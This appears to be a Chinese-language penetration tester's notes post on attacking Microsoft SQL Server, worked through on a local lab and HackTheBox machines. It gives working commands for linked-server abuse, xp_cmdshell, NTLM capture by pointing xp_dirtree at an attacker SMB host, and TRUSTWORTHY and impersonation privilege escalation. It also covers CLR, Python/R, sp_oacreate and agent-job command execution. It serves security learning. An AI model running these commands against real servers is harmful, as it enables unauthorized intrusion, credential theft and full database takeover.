mssql 杂记

mssql 杂记

1.安装mssql服务

我本地环境演示使用的是sql server 2019

安装下面链接教程即可安装

https://www.sqlservertutorial.net/install-sql-server/

如果想开启远程链接需要先打开SQL server 网络配置找到TCP/IP

image-20220204153034484

划到最下面IP ALL,如果没有该选项那就手动慢慢设置

  • TCP 动态端口设置为空
  • TCP 端口设置为1433

image-20220204153057608

重启Sql server服务

image-20220204153120585

2. mssql常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
select @@version;  #获取mssql版本
SELECT DB_NAME(); #列出当前数据库
select @@servername; #列出当前服务名
select name FROM master..syslogins #获取登录用户

select name from master..syslogins where sysadmin = '1'; #查询当前用户是否为sysadmin权限
select IS_MEMBER('db_owner') #查询当前用户是否为dba权限
SELECT name FROM master..sysdatabases; #列出所有数据库
select table_name,table_schema from flag.INFORMATION_SCHEMA.TABLES; #列出表和架构
select * from flag.dbo.flag; #查询数据库的数据

select @@servername; #查询当前服务名
select srvname from sysservers; #列出可以使用的远程链接服务器

3.mssql link服务利用

3.1 环境

演示使用的是hackthebox Endgames P.O.O靶场

3.2 原理

mssql允许创建外部数据源的链接,例如其他sql服务器Oracle数据库excel电子表格等,由于常见的错误配置,链接或者链接服务器通常可以利用来遍历数据库链接网络,获取数据,以及部署shell。

mssql如果启动了link(dataaaccess设置为1),则数据库服务器上的每个用户都可以使用该link,不管用户的权限如何(public,sysadmin)都可以使用

3.2 利用

使用select @@servername获取当前服务名,再使用select srvname from sysservers查看可利用的服务

image-20220202153516249

驱使POO_CONFIGPOO_PUBLIC询问POO_CONFIG在POO_PUBLIC服务器的权限

1
EXECUTE ('EXECUTE (''SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''''SERVER'''');'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];

image-20220202155118103

添加用户

1
2
EXECUTE('EXECUTE(''CREATE LOGIN ling WITH PASSWORD = ''''qwe123QWE!@#'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]
EXECUTE('EXECUTE(''EXEC sp_addsrvrolemember ''''ling'''', ''''sysadmin'''''') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]

image-20220202161852443

msf

1
2
use exploit/windows/mssql/mssql_linkcrawler
set DEPLOY true #如果想反弹shell就设置true

image-20220202161212417

参考链接

https://0xdf.gitlab.io/2020/06/08/endgame-poo.html#huh

https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links#mssql-trusted-links

https://www.netspi.com/blog/technical/network-penetration-testing/how-to-hack-database-links-in-sql-server/

4.xp_cmdshell

4.1 什么是xp_cmdshell

根据Microsoft 官方文档,xp_cmdshell 是一种生成 Windows 命令 shell 并传入字符串以供执行的功能。它生成的任何输出都以文本行的格式显示。为简化起见,我们可以说它允许数据库管理员直接从SQL Server访问和执行任何外部进程。xp_cmdshell的实现可以追溯到SQL Server 6.5。它旨在使用带有系统命令的 SQL 查询来自动执行需要额外编程和工作的各种任务。现在我们对xp_cmdshell有了一些了解,我们可以了解如何在 SQL 服务器上启用它。

4.2 开启xp_cmdshell

xp_cmdshellSql server 2005之前是无需开启的,默认会开启。sql server 2005及以后的版本需要手动开启,默认关闭。开启xp_cmdshell正常来说需要sa(sysadmin)权限

开启xp_cmdshell命令

1
2
3
4
sp_configure 'show advanced options', '1'
RECONFIGURE
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

**Sql server 2008**以及更高版本存在一个触发器,该触发器可以对服务器进行的操作设置一个触发机制。比如限制用户开启xp_cmdshell

image-20220206000932464

遇到这种情况只要查询触发器名称然后关闭即可

1
2
select name from sys.server_triggers;
disable trigger Stop_XP_CommandShell on all server

image-20220206001120015

参考链接

https://www.mssqltips.com/sqlservertip/2987/can-i-stop-a-system-admin-from-enabling-sql-server-xpcmdshell/

5.NTLM

5.1 环境

我本地搭建的环境访问smb时,没有接收到NTLM。所以我这里改为使用hackthebox Querier靶机

5.2 利用

当我们登录到目标mssql服务中,但是没有办法开启或使用xp_cmdshell,可以利用smb中继攻击获取NTLM,然后使用hashcat等工具进行破解

开启Responder

1
python Responder.py -I tun1

image-20220205143341667

使用xp_dirtree或xp_fileexist访问smb中继地址

1
2
exec xp_dirtree '\\10.10.16.3\share\file'
exec xp_fileexist '\\10.10.16.3\share\file'

image-20220205143601693

hashcat破解NTLM

1
hashcat -m 5600 ./hash /usr/share/wordlists/rockyou.txt 

image-20220205143915992

6.提权

sql server 权限

如果想了解sql server权限细节建议看下官方手册

数据库角色权限

服务器角色权限

6.1可信提权

6.1.1 环境配置

添加ling数据库

1
2
3
4
5
6
-- Create database
CREATE DATABASE LingDB;
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'LingDB'

image-20220204141517157

添加一个登录使用的用户

1
2
-- Create login
CREATE LOGIN lingUser WITH PASSWORD = 'lingpassword';

image-20220204141338570

添加lingUserdb_owner权限

1
2
3
4
5
-- Setup LingUser the db_owner role in LingDB;
USE LingDB
ALTER LOGIN [LingUser] with default_database = [LingDB];
CREATE USER [LingUser] FROM LOGIN [LingUser];
EXEC sp_addrolemember [db_owner], [LingUser];

查询lingUser是否成功添加到db_owner权限

1
2
3
4
5
-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

image-20220204142128339

LingDB数据库设置为trusted

1
ALTER DATABASE LingDb SET TRUSTWORTHY ON

查询Sql Server中的所有数据库,并且图下is_trustworthy_on应该显示为1

image-20220204142813151

启动xp_cmdshell,为了实验方便所以这里先启动,在实战中攻击者是由可能启动的

1
2
3
4
5
6
7
8
-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

image-20220204143144625

6.1.2 利用

验证一下我们当前权限

使用xp_cmdshell失败,提示我们没有权限

image-20220204155602398

查看我们当前权限,显示我们非管理员

1
SELECT is_srvrolemember('sysadmin')

image-20220204155724885

现在验证权限完毕,开始

先选择LingDB数据库,然后将lingUser添加到sysadmin

如果sp_elevate_me对象已经存在,只需要重新另起一个即可,比如sp_elevate_me1

1
2
USE LingDB
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'lingUser','sysadmin'

image-20220204160255441

lingUser添加到sysadmin后,我们当前还没获得管理权限,还需要进行下面两步操作

1
2
USE LingDB
EXEC sp_elevate_me

image-20220204160431172

进行上面的操作后我们当前就变成管理权限

image-20220204160520748

Metasploit

除上面介绍的手动提权外,你还可以使用Metasploit 进行自动提权

1
2
3
4
5
use auxiliary/admin/mssql/mssql_escalate_dbowner
set RHOSTS 192.168.1.1
set USERNAME lingUser
set PASSWORD lingpassword
run

6.1.3 原理

受信任的低权限用户执行一些模块时,会被视为高权限执行的。但是执行这些模块需要一定的权限.

image-20220204163024791

参考链接

https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

6.2 语言提权

Sql server 2017(14.x)及更高版本都可以使用一个叫机器学习服务的功能,这个功能会给用户选择安装python或R语言。利用语言提权需要db_owner权限才可以执行,同时需要sql server启动Launchpad才能利用。

6.2.1 环境安装

检测外部脚本是否可以启动,同时将config_value、run_value设置为1

1
2
3
4
5
6
#检测外部脚本是否可以启动
sp_configure 'external scripts enabled'
#设置外部脚本指令
EXEC sp_configure 'external scripts enabled', 1
#重新安装配置指令
RECONFIGURE WITH OVERRIDE

image-20220204172536691

sql Server Launchpad设置为自动启动模式,设置完后还需要手动启动一下

image-20220204172913893

重启sql server

6.2.2 python 提权

1
EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';

image-20220204171643231

6.2.3 R 提权

1
EXECUTE sp_execute_external_script @language = N'R', @script = N'system("whoami")';

image-20220204171615768

6.3 mssql 模拟登录提权

6.3.1 环境配置

创建4个用户

1
2
3
4
5
6
7
8
9
10
11
-- Create login 1
CREATE LOGIN ling1 WITH PASSWORD = 'lingpassword';

-- Create login 2
CREATE LOGIN ling2 WITH PASSWORD = 'lingpassword!';

-- Create login 3
CREATE LOGIN ling3 WITH PASSWORD = 'lingpassword!';

-- Create login 4
CREATE LOGIN ling4 WITH PASSWORD = 'lingpassword!';

ling1赋予ling2、3sa的登录的模拟权限

1
2
3
4
5
6
-- Grant ling1 impersonate privilege on ling2, ling3, and sa
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [ling1];
GRANT IMPERSONATE ON LOGIN::ling2 to [ling1];
GRANT IMPERSONATE ON LOGIN::ling3 to [ling1];
GO

6.3.2 利用

使用ling1登录到sql server

搜索可以被冒用的用户

1
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

image-20220204200122102

验证当前权限

1
2
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

image-20220204200529933

冒用sa用户

1
2
3
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

image-20220204200628312

Metasploit

mssql_escalate_execute_as是通过登录mssql进行提权

mssql_escalate_execute_as_sqli则是通过注入方式进行提权

1
2
auxiliary/admin/mssql/mssql_escalate_execute_as
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli

模拟登录除了提权之外还有别的利用方式,比如以系统管理员模拟SQL登录域管理员模拟为系统管理员

6.3.3 原理

SQL SERVER为了方便开发人员临时使用其他账号权限而设置的一个功能,攻击者可以利用该功能进行提权。这种类型是否算是漏洞?这个见仁见智。

参考链接

https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

7.CLR

7.1 什么是CLR

Common Language Runtime(CLR)Microsoft 作为其 Windows 操作系统的一部分提供的一项功能,允许执行与 .NET Framework 兼容的软件。此运行时环境负责实现 .NET 程序,包括已编译的 ASP.NET 页面和 Mono 应用程序。它由 .NET FrameworkWindows 内核使用,并已被 Java ME、Apache Harmony 和 Android 等其他操作系统采用。它通常被认为是 Java 虚拟机 (JVM) 的更稳定和功能齐全的替代品。它还管理 Microsoft 操作系统的代码执行环境。
这些托管代码被编译并由单元进一步使用。这些单元称为装配。这些程序集包含大量 DLL EXE 文件。EXE 文件可以自行执行,而 DLL 文件需要托管在应用程序中。如果管理得当,这些 DLL 文件也可以由MS-SQL服务器强制执行。
CLR 通过程序集加载从不同进程接收已编译的应用程序或程序集,然后在隔离的执行环境中执行它们以确保它们的安全性和完整性。借助 CLR,可以编写存储过程、用户定义函数、用户定义类型等。

7.2 环境安装

启动Facets

image-20220205174149309

选择最后的外围应用配置器

image-20220205174251491

ClrIntegrationEnabled设置为True

image-20220205174341987

7.3 创建DLL

打开Visual Studio 选择创建新项目

image-20220205184253542

进入项目模块选择时,选择C#,找到.NET Framework

image-20220205184519542

配置项目信息,开始创建

image-20220205184641115

生成dll文件

dll代码链接

image-20220205184819125

dll文件上传到目标

7.4 利用

手动利用

数据库>>系统数据库>>msdb>>可编程性>>程序集右键打开新建程序集

image-20220205185919575

设置权限集为无限制,添加程序集路径

image-20220205190107569

添加完成可以在程序集看到添加的dll

启动lingdll

1
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec];

启动dll后就可以运行命令

1
cmd_exec 'whoami'

image-20220205190327589

如果后面想删除加载的dll可以运行下面命令

1
2
DROP PROCEDURE  cmd_exec
DROP ASSEMBLY lingdll

命令加载dll

选择msdb数据库

image-20220205191617689

启动CLR 集成

1
2
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE

image-20220205191741451

查询是否启动CLR

使用mssqlclint是看不到返回结果,使用其他如Navicat可以看到结果

1
SELECT * FROM sys.configurations WHERE name = 'clr%20enabled';

image-20220205192255676

value显示为1时,代表CLR集成已启用

启动可信赖属性

1
ALTER DATABASE msdb SET TRUSTWORTHY ON

查询可信赖属性是否启动成功

1
select name, is_trustworthy_on from sys.databases

image-20220205192618908

msdb值为1时,意味着该属性已经启用

加载dll文件

1
CREATE ASSEMBLY lingdll FROM 'c:\temp\lingdll.dll' WITH PERMISSION_SET = UNSAFE;

加载dll遇到说程序集不受信任,可以换成Navicat重新加载,也可以给程序集加上哈希

加上hash这个我还没了解细节,只是发现加上可以加载dll文件

1
2
EXEC sp_add_trusted_assembly 0x8893AD6D78D14EE43DF482E2EAD44123E3A0B684A8873C3F7BF3B5E8D8F09503F3E62370CE742BBC96FE3394477214B84C7C1B0F7A04DCC788FA99C2C09DFCCC, 
N'pointudt, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

创建cmd_exec执行命令

1
2
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec];
cmd_exec 'whoami'

image-20220205194623820

PowerUpSQL

Github

1
2
Import-Module .\PowerUpSQL.ps1
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose

image-20220205195055836

生成的dll文件也可以像上面那样利用,现在介绍另一种利用方式

打开生成的runcmd.txt

image-20220205195354157

使用Navicat链接服务器,mssqlclient.py可能会失败

输入txt内容并运行

image-20220205195541531

PowerUpSQL(远程)

1
2
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmdCLR -Username sa -Password 123456 -Instance 192.168.1.7 Command "whoami" -Verbose

image-20220205195804269

参考链接

https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-clr-assembly/

https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/#Import

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sys-sp-add-trusted-assembly-transact-sql?view=sql-server-ver15

8.SP_OACREATE

有时候xp_cmdshell组件被删除或被禁用后,我们可以使用SP_OACREATE来执行系统命令,但是使用SP_OACREATE执行命令是无回显的。

8.1 检测SP_OACREATE状态

使用mssqlclient返回结果会有点乱

1
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

image-20220206141854660

使用count判断sp_oacreate即可

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

image-20220206142054709

8.2 启动SP_OACREATE

1
2
3
4
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE

image-20220206142231328

8.3 利用

建议先使用DNSlog检测漏洞是否存在

可以在服务器上开启smb服务,让执行结果写入服务器

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\temp\1.txt'

image-20220206142340925

image-20220206165226469

参考链接

https://xz.aliyun.com/t/7534#toc-9

9.Agent Job

我本地环境启动sql server 代理失败,只能简单记录一下命令。后续再补上细节

1
2
3
4
USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

参考链接

https://xz.aliyun.com/t/7534#toc-20

10.沙盒执行命令

本地没有相关漏洞的环境只能简单记录命令,后续再补细节

1
2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

参考链接

https://xz.aliyun.com/t/7534#toc-20